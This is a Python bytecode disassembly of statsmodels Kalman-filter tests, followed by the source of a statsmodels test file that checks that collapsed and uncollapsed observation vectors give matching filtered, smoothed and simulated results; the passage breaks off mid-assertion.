LOAD_ATTR filtered_state_cov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR filtered_state_cov CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR predicted_state LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR predicted_state CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR predicted_state_cov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR predicted_state_cov CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR llf_obs LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR llf_obs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_state CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state_cov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_state_cov LOAD_CONST 0.0001 LOAD_CONST ('atol',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state_autocov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_state_autocov CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state_autocov LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 0 LOAD_CONST 5 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR augmented_results LOAD_ATTR smoothed_state_cov LOAD_CONST None LOAD_CONST 2 BUILD_SLICE LOAD_CONST 2 LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_CONST 6 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_CONST 0.0001 LOAD_CONST ('atol',) CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state_autocov LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 5 LOAD_CONST -1 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR augmented_results LOAD_ATTR smoothed_state_cov LOAD_CONST None LOAD_CONST 2 BUILD_SLICE LOAD_CONST 2 LOAD_CONST None BUILD_SLICE LOAD_CONST 6 LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_CONST 1e-07 LOAD_CONST ('atol',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_measurement_disturbance LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_measurement_disturbance CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_measurement_disturbance_cov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_measurement_disturbance_cov CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state_disturbance LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_state_disturbance CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state_disturbance_cov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_state_disturbance_cov CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR sim_a LOAD_ATTR simulated_state LOAD_FAST self LOAD_ATTR sim_b LOAD_ATTR simulated_state CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR sim_a LOAD_ATTR simulated_measurement_disturbance LOAD_FAST self LOAD_ATTR sim_b LOAD_ATTR simulated_measurement_disturbance CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR sim_a LOAD_ATTR simulated_state_disturbance LOAD_FAST self LOAD_ATTR sim_b LOAD_ATTR simulated_state_disturbance CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestDFMClassicalSmoothing' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fa9c8600780, file "f.py", line 625> LOAD_CONST 'TestDFMClassicalSmoothing.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_smooth_method at 0x7fa9c8600270, file "f.py", line 631> LOAD_CONST 'TestDFMClassicalSmoothing.test_smooth_method' MAKE_FUNCTION STORE_NAME test_smooth_method LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestDFMClassicalSmoothing LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST args LOAD_CONST 'smooth_method' LOAD_GLOBAL SMOOTH_CLASSICAL BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR model LOAD_ATTR smooth_method LOAD_GLOBAL SMOOTH_CLASSICAL CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_smoother LOAD_ATTR smooth_method LOAD_GLOBAL SMOOTH_CLASSICAL CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_smoother LOAD_ATTR _smooth_method LOAD_GLOBAL SMOOTH_CLASSICAL CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestDFMUnivariateSmoothing' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fa9c8600540, file "f.py", line 638> LOAD_CONST 'TestDFMUnivariateSmoothing.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_smooth_method at 0x7fa9c8600150, file "f.py", line 644> LOAD_CONST 'TestDFMUnivariateSmoothing.test_smooth_method' MAKE_FUNCTION STORE_NAME test_smooth_method LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestDFMUnivariateSmoothing LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST args LOAD_CONST 'filter_method' LOAD_GLOBAL FILTER_UNIVARIATE BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR model LOAD_ATTR smooth_method LOAD_CONST 0 CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_smoother LOAD_ATTR smooth_method LOAD_CONST 0 CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_smoother LOAD_ATTR _smooth_method LOAD_GLOBAL SMOOTH_UNIVARIATE CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestDFMAlternativeSmoothing' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fa9c8600300, file "f.py", line 651> LOAD_CONST 'TestDFMAlternativeSmoothing.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_smooth_method at 0x7fa9c86009c0, file "f.py", line 657> LOAD_CONST 'TestDFMAlternativeSmoothing.test_smooth_method' MAKE_FUNCTION STORE_NAME test_smooth_method LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestDFMAlternativeSmoothing LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class BUILD_TUPLE LOAD_CONST 'smooth_method' LOAD_GLOBAL SMOOTH_ALTERNATIVE BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR model LOAD_ATTR smooth_method LOAD_GLOBAL SMOOTH_ALTERNATIVE CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_smoother LOAD_ATTR smooth_method LOAD_GLOBAL SMOOTH_ALTERNATIVE CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_smoother LOAD_ATTR _smooth_method LOAD_GLOBAL SMOOTH_ALTERNATIVE CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestDFMMeasurementDisturbance' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7faa7c1f6390, file "f.py", line 664> LOAD_CONST 'TestDFMMeasurementDisturbance.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_smoothed_state_disturbance at 0x7faa7c1f64b0, file "f.py", line 670> LOAD_CONST 'TestDFMMeasurementDisturbance.test_smoothed_state_disturbance' MAKE_FUNCTION STORE_NAME test_smoothed_state_disturbance LOAD_CONST <code object test_smoothed_measurement_disturbance at 0x7faa7c1f6810, file "f.py", line 677> LOAD_CONST 'TestDFMMeasurementDisturbance.test_smoothed_measurement_disturbance' MAKE_FUNCTION STORE_NAME test_smoothed_measurement_disturbance LOAD_CONST <code object test_simulation_smoothed_measurement_disturbance at 0x7faa7c1f6030, file "f.py", line 684> LOAD_CONST 'TestDFMMeasurementDisturbance.test_simulation_smoothed_measurement_disturbance' MAKE_FUNCTION STORE_NAME test_simulation_smoothed_measurement_disturbance LOAD_CONST <code object test_simulation_smoothed_state_disturbance at 0x7faa7c1f6420, file "f.py", line 691> LOAD_CONST 'TestDFMMeasurementDisturbance.test_simulation_smoothed_state_disturbance' MAKE_FUNCTION STORE_NAME test_simulation_smoothed_state_disturbance LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestDFMMeasurementDisturbance LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class BUILD_TUPLE LOAD_GLOBAL SMOOTH_CLASSICAL LOAD_CONST 'none' LOAD_CONST ('smooth_method', 'which') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state_disturbance LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_state_disturbance LOAD_CONST 1e-07 LOAD_CONST ('atol',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_METHOD collapse LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_measurement_disturbance LOAD_ATTR T CALL_METHOD LOAD_ATTR T LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_measurement_disturbance LOAD_CONST 1e-07 LOAD_CONST ('atol',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_METHOD collapse LOAD_FAST self LOAD_ATTR sim_a LOAD_ATTR simulated_measurement_disturbance LOAD_ATTR T CALL_METHOD LOAD_FAST self LOAD_ATTR sim_b LOAD_ATTR simulated_measurement_disturbance LOAD_ATTR T LOAD_CONST 1e-07 LOAD_CONST ('atol',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR sim_a LOAD_ATTR simulated_state_disturbance LOAD_FAST self LOAD_ATTR sim_b LOAD_ATTR simulated_state_disturbance LOAD_CONST 1e-07 LOAD_CONST ('atol',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL np LOAD_ATTR random LOAD_ATTR normal LOAD_CONST (100, 3) LOAD_CONST ('size',) CALL_FUNCTION STORE_FAST endog LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST endog LOAD_CONST 0 LOAD_CONST None LOAD_CONST 1 BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL dynamic_factor LOAD_ATTR DynamicFactor LOAD_FAST endog LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST ('k_factors', 'factor_order') CALL_FUNCTION STORE_FAST mod LOAD_CONST True LOAD_FAST mod LOAD_ATTR ssm STORE_ATTR filter_collapsed LOAD_FAST mod LOAD_METHOD smooth LOAD_FAST mod LOAD_ATTR start_params CALL_METHOD STORE_FAST res LOAD_CONST False LOAD_FAST mod LOAD_ATTR ssm STORE_ATTR filter_collapsed LOAD_FAST mod LOAD_METHOD smooth LOAD_FAST mod LOAD_ATTR start_params CALL_METHOD STORE_FAST res2 LOAD_GLOBAL assert_allclose LOAD_FAST res LOAD_ATTR llf LOAD_FAST res2 LOAD_ATTR llf CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
""" Tests for collapsed observation vector These tests cannot be run for the Clark 1989 model since the dimension of observations (2) is smaller than the number of states (6). Author: Chad Fulton License: Simplified-BSD """ import numpy as np import pandas as pd import pytest import os from statsmodels import datasets from statsmodels.tsa.statespace import dynamic_factor from statsmodels.tsa.statespace.mlemodel import MLEModel from statsmodels.tsa.statespace.kalman_filter import FILTER_UNIVARIATE from statsmodels.tsa.statespace.kalman_smoother import ( SMOOTH_CLASSICAL, SMOOTH_ALTERNATIVE, SMOOTH_UNIVARIATE, ) from statsmodels.tsa.statespace.tests.results import results_kalman_filter from numpy.testing import assert_equal, assert_allclose current_path = os.path.dirname(os.path.abspath(__file__)) class Trivariate: """ Tests collapsing three-dimensional observation data to two-dimensional """ @classmethod def setup_class(cls, dtype=float, alternate_timing=False, **kwargs): cls.results = results_kalman_filter.uc_bi data = pd.DataFrame( cls.results["data"], index=pd.date_range("1947-01-01", "1995-07-01", freq="QS"), columns=["GDP", "UNEMP"], )[4:] data["GDP"] = np.log(data["GDP"]) data["UNEMP"] = data["UNEMP"] / 100 data["X"] = np.exp(data["GDP"]) * data["UNEMP"] k_states = 2 cls.mlemodel = MLEModel(data, k_states=k_states, **kwargs) cls.model = cls.mlemodel.ssm if alternate_timing: cls.model.timing_init_filtered = True cls.model["selection"] = np.eye(cls.model.k_states) cls.model["design"] = np.array([[0.5, 0.2], [0, 0.8], [1, -0.5]]) cls.model["transition"] = np.array([[0.4, 0.5], [1, 0]]) cls.model["obs_cov"] = np.diag([0.2, 1.1, 0.5]) cls.model["state_cov"] = np.diag([2.0, 1]) cls.model.initialize_approximate_diffuse() def test_using_collapsed(self): assert not self.results_a.filter_collapsed assert self.results_b.filter_collapsed assert self.results_a.collapsed_forecasts is None assert self.results_b.collapsed_forecasts is not None assert_equal(self.results_a.forecasts.shape[0], 3) assert_equal(self.results_b.collapsed_forecasts.shape[0], 2) def test_forecasts(self): assert_allclose( self.results_a.forecasts[0, :], self.results_b.forecasts[0, :], ) def test_forecasts_error(self): assert_allclose( self.results_a.forecasts_error[0, :], self.results_b.forecasts_error[0, :] ) def test_forecasts_error_cov(self): assert_allclose( self.results_a.forecasts_error_cov[0, 0, :], self.results_b.forecasts_error_cov[0, 0, :], ) def test_filtered_state(self): assert_allclose(self.results_a.filtered_state, self.results_b.filtered_state) def test_filtered_state_cov(self): assert_allclose( self.results_a.filtered_state_cov, self.results_b.filtered_state_cov ) def test_predicted_state(self): assert_allclose(self.results_a.predicted_state, self.results_b.predicted_state) def test_predicted_state_cov(self): assert_allclose( self.results_a.predicted_state_cov, self.results_b.predicted_state_cov ) def test_loglike(self): assert_allclose(self.results_a.llf_obs, self.results_b.llf_obs) def test_smoothed_states(self): assert_allclose(self.results_a.smoothed_state, self.results_b.smoothed_state) def test_smoothed_states_cov(self): assert_allclose( self.results_a.smoothed_state_cov, self.results_b.smoothed_state_cov, atol=1e-4, ) def test_smoothed_states_autocov(self): assert_allclose( self.results_a.smoothed_state_autocov, self.results_b.smoothed_state_autocov ) @pytest.mark.skip def test_smoothed_measurement_disturbance(self): assert_allclose( self.results_a.smoothed_measurement_disturbance, self.results_b.smoothed_measurement_disturbance, ) @pytest.mark.skip def test_smoothed_measurement_disturbance_cov(self): assert_allclose( self.results_a.smoothed_measurement_disturbance_cov, self.results_b.smoothed_measurement_disturbance_cov, ) def test_smoothed_state_disturbance(self): assert_allclose( self.results_a.smoothed_state_disturbance, self.results_b.smoothed_state_disturbance, ) def test_smoothed_state_disturbance_cov(self): assert_allclose( self.results_a.smoothed_state_disturbance_cov, self.results_b.smoothed_state_disturbance_cov, ) def test_simulation_smoothed_state(self): assert_allclose(self.sim_a.simulated_state, self.sim_a.simulated_state) def test_simulation_smoothed_measurement_disturbance(self): assert_allclose( self.sim_a.simulated_measurement_disturbance, self.sim_a.simulated_measurement_disturbance, ) def test_simulation_smoothed_state_disturbance(self): assert_allclose( self.sim_a.simulated_state_disturbance, self.sim_a.simulated_state_disturbance, ) class TestTrivariateConventional(Trivariate): @classmethod def setup_class(cls, dtype=float, **kwargs): super(TestTrivariateConventional, cls).setup_class(dtype, **kwargs) nobs = cls.model.nobs k_endog = cls.model.k_endog k_posdef = cls.model.k_posdef cls.model.filter_conventional = True cls.model.filter_collapsed = True cls.results_b = cls.model.smooth() cls.sim_b = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) cls.model.filter_collapsed = False cls.results_a = cls.model.smooth() cls.sim_a = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) class TestTrivariateConventionalAlternate(TestTrivariateConventional): @classmethod def setup_class(cls, *args, **kwargs): super(TestTrivariateConventionalAlternate, cls).setup_class( alternate_timing=True, *args, **kwargs ) def test_using_alterate(self): assert self.model._kalman_filter.filter_timing == 1 class TestTrivariateConventionalPartialMissing(Trivariate): @classmethod def setup_class(cls, dtype=float, **kwargs): super(TestTrivariateConventionalPartialMissing, cls).setup_class( dtype, **kwargs ) nobs = cls.model.nobs k_endog = cls.model.k_endog k_posdef = cls.model.k_posdef cls.model.endog[:2, 10:180] = np.nan cls.model.filter_conventional = True cls.model.filter_collapsed = True cls.results_b = cls.model.smooth() cls.sim_b = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) cls.model.filter_collapsed = False cls.results_a = cls.model.smooth() cls.sim_a = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) class TestTrivariateConventionalPartialMissingAlternate( TestTrivariateConventionalPartialMissing ): @classmethod def setup_class(cls, *args, **kwargs): super(TestTrivariateConventionalPartialMissingAlternate, cls).setup_class( alternate_timing=True, *args, **kwargs ) def test_using_alterate(self): assert self.model._kalman_filter.filter_timing == 1 class TestTrivariateConventionalAllMissing(Trivariate): @classmethod def setup_class(cls, dtype=float, **kwargs): super(TestTrivariateConventionalAllMissing, cls).setup_class(dtype, **kwargs) nobs = cls.model.nobs k_endog = cls.model.k_endog k_posdef = cls.model.k_posdef cls.model.endog[:, 10:180] = np.nan cls.model.filter_conventional = True cls.model.filter_collapsed = True cls.results_b = cls.model.smooth() cls.sim_b = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) cls.model.filter_collapsed = False cls.results_a = cls.model.smooth() cls.sim_a = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) class TestTrivariateConventionalAllMissingAlternate( TestTrivariateConventionalAllMissing ): @classmethod def setup_class(cls, *args, **kwargs): super(TestTrivariateConventionalAllMissingAlternate, cls).setup_class( alternate_timing=True, *args, **kwargs ) def test_using_alterate(self): assert self.model._kalman_filter.filter_timing == 1 class TestTrivariateUnivariate(Trivariate): @classmethod def setup_class(cls, dtype=float, **kwargs): super(TestTrivariateUnivariate, cls).setup_class(dtype, **kwargs) nobs = cls.model.nobs k_endog = cls.model.k_endog k_posdef = cls.model.k_posdef cls.model.filter_univariate = True cls.model.filter_collapsed = True cls.results_b = cls.model.smooth() cls.sim_b = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) cls.model.filter_collapsed = False cls.results_a = cls.model.smooth() cls.sim_a = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) class TestTrivariateUnivariateAlternate(TestTrivariateUnivariate): @classmethod def setup_class(cls, *args, **kwargs): super(TestTrivariateUnivariateAlternate, cls).setup_class( alternate_timing=True, *args, **kwargs ) def test_using_alterate(self): assert self.model._kalman_filter.filter_timing == 1 class TestTrivariateUnivariatePartialMissing(Trivariate): @classmethod def setup_class(cls, dtype=float, **kwargs): super(TestTrivariateUnivariatePartialMissing, cls).setup_class(dtype, **kwargs) nobs = cls.model.nobs k_endog = cls.model.k_endog k_posdef = cls.model.k_posdef cls.model.endog[:2, 10:180] = np.nan cls.model.filter_univariate = True cls.model.filter_collapsed = True cls.results_b = cls.model.smooth() cls.sim_b = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) cls.model.filter_collapsed = False cls.results_a = cls.model.smooth() cls.sim_a = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) class TestTrivariateUnivariatePartialMissingAlternate( TestTrivariateUnivariatePartialMissing ): @classmethod def setup_class(cls, *args, **kwargs): super(TestTrivariateUnivariatePartialMissingAlternate, cls).setup_class( alternate_timing=True, *args, **kwargs ) def test_using_alterate(self): assert self.model._kalman_filter.filter_timing == 1 class TestTrivariateUnivariateAllMissing(Trivariate): @classmethod def setup_class(cls, dtype=float, **kwargs): super(TestTrivariateUnivariateAllMissing, cls).setup_class(dtype, **kwargs) nobs = cls.model.nobs k_endog = cls.model.k_endog k_posdef = cls.model.k_posdef cls.model.endog[:, 10:180] = np.nan cls.model.filter_univariate = True cls.model.filter_collapsed = True cls.results_b = cls.model.smooth() cls.sim_b = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) cls.model.filter_collapsed = False cls.results_a = cls.model.smooth() cls.sim_a = cls.model.simulation_smoother( measurement_disturbance_variates=np.zeros(nobs * k_endog), state_disturbance_variates=np.zeros(nobs * k_posdef), initial_state_variates=np.zeros(cls.model.k_states), ) class TestTrivariateUnivariateAllMissingAlternate(TestTrivariateUnivariateAllMissing): @classmethod def setup_class(cls, *args, **kwargs): super(TestTrivariateUnivariateAllMissingAlternate, cls).setup_class( alternate_timing=True, *args, **kwargs ) def test_using_alterate(self): assert self.model._kalman_filter.filter_timing == 1 class TestDFM: @classmethod def create_model(cls, obs, **kwargs): mod = MLEModel(obs, k_states=2, k_posdef=2, **kwargs) mod["design"] = np.array( [ [-32.47143586, 17.33779024], [-7.40264169, 1.69279859], [-209.04702853, 125.2879374], ] ) mod["obs_cov"] = np.diag(np.array([0.0622668, 1.95666886, 58.37473642])) mod["transition"] = np.array( [[0.29935707, 0.33289005], [-0.7639868, 1.2844237]] ) mod["selection"] = np.eye(2) mod["state_cov"] = np.array([[1.2, -0.25], [-0.25, 1.1]]) mod.initialize_approximate_diffuse(1e6) return mod @classmethod def collapse(cls, obs, **kwargs): mod = cls.create_model(obs, **kwargs) mod.smooth([], return_ssm=True) _ss = mod.ssm._statespace out = np.zeros((mod.nobs, mod.k_states)) for t in range(mod.nobs): _ss.seek(t, mod.ssm.filter_univariate, 1) out[t] = np.array(_ss.collapse_obs) return out @classmethod def setup_class(cls, which="mixed", *args, **kwargs): dta = datasets.macrodata.load_pandas().data dta.index = pd.date_range(start="1959-01-01", end="2009-7-01", freq="QS") levels = dta[["realgdp", "realcons", "realinv"]] obs = np.log(levels).diff().iloc[1:] * 400 if which == "all": obs.iloc[:50, :] = np.nan obs.iloc[119:130, :] = np.nan elif which == "partial": obs.iloc[0:50, 0] = np.nan obs.iloc[119:130, 0] = np.nan elif which == "mixed": obs.iloc[0:50, 0] = np.nan obs.iloc[19:70, 1] = np.nan obs.iloc[39:90, 2] = np.nan obs.iloc[119:130, 0] = np.nan obs.iloc[119:130, 2] = np.nan mod = cls.create_model(obs, **kwargs) cls.model = mod.ssm nobs = cls.model.nobs k_endog = cls.model.k_endog k_posdef = cls.model.k_posdef np.random.seed(1234) mdv = np.random.normal(size=nobs * k_endog) sdv = np.random.normal(size=nobs * k_posdef) isv = np.random.normal(size=cls.model.k_states) cls.model.filter_collapsed = True cls.results_b = cls.model.smooth() cls.sim_b = cls.model.simulation_smoother() cls.sim_b.simulate( measurement_disturbance_variates=mdv, state_disturbance_variates=sdv, initial_state_variates=isv, ) cls.model.filter_collapsed = False cls.results_a = cls.model.smooth() cls.sim_a = cls.model.simulation_smoother() cls.sim_a.simulate( measurement_disturbance_variates=mdv, state_disturbance_variates=sdv, initial_state_variates=isv, ) kwargs.pop("filter_collapsed", None) mod = MLEModel(obs, k_states=4, k_posdef=2, **kwargs) mod["design", :3, :2] = np.array( [ [-32.47143586, 17.33779024], [-7.40264169, 1.69279859], [-209.04702853, 125.2879374], ] ) mod["obs_cov"] = np.diag(np.array([0.0622668, 1.95666886, 58.37473642])) mod["transition", :2, :2] = np.array( [[0.29935707, 0.33289005], [-0.7639868, 1.2844237]] ) mod["transition", 2:, :2] = np.eye(2) mod["selection", :2, :2] = np.eye(2) mod["state_cov"] = np.array([[1.2, -0.25], [-0.25, 1.1]]) mod.initialize_approximate_diffuse(1e6) cls.augmented_model = mod.ssm cls.augmented_results = mod.ssm.smooth() def test_using_collapsed(self): assert not self.results_a.filter_collapsed assert self.results_b.filter_collapsed assert self.results_a.collapsed_forecasts is None assert self.results_b.collapsed_forecasts is not None assert_equal(self.results_a.forecasts.shape[0], 3) assert_equal(self.results_b.collapsed_forecasts.shape[0], 2) def test_forecasts(self): assert_allclose( self.results_a.forecasts[0, :], self.results_b.forecasts[0, :], ) def test_forecasts_error(self): assert_allclose( self.results_a.forecasts_error[0, :], self.results_b.forecasts_error[0, :] ) def test_forecasts_error_cov(self): assert_allclose( self.results_a.forecasts_error_cov[0, 0, :], self.results_b.forecasts_error_cov[0, 0, :], ) def test_filtered_state(self): assert_allclose(self.results_a.filtered_state, self.results_b.filtered_state) def test_filtered_state_cov(self): assert_allclose( self.results_a.filtered_state_cov, self.results_b.filtered_state_cov ) def test_predicted_state(self): assert_allclose(self.results_a.predicted_state, self.results_b.predicted_state) def test_predicted_state_cov(self): assert_allclose( self.results_a.predicted_state_cov, self.results_b.predicted_state_cov ) def test_loglike(self): assert_allclose(self.results_a.llf_obs, self.results_b.llf_obs) def test_smoothed_states(self): assert_allclose(self.results_a.smoothed_state, self.results_b.smoothed_state) def test_smoothed_states_cov(self): assert_allclose( self.results_a.smoothed_state_cov, self.results_b.smoothed_state_cov, atol=1e-4, ) def test_smoothed_states_autocov(self): assert_allclose( self.results_a.smoothed_state_autocov, self.results_b.smoothed_state_autocov ) assert_allclose( self.results_a.smoothed_state_autocov[:, :, 0:5], self.augmented_results.smoothed_state_cov[:2, 2:, 1:6], atol=1e-4, ) assert_allclose( self.results_a.smoothed_state_autocov[:, :, 5:-1], self.augmented_results.smoothed_state_cov[:2, 2:, 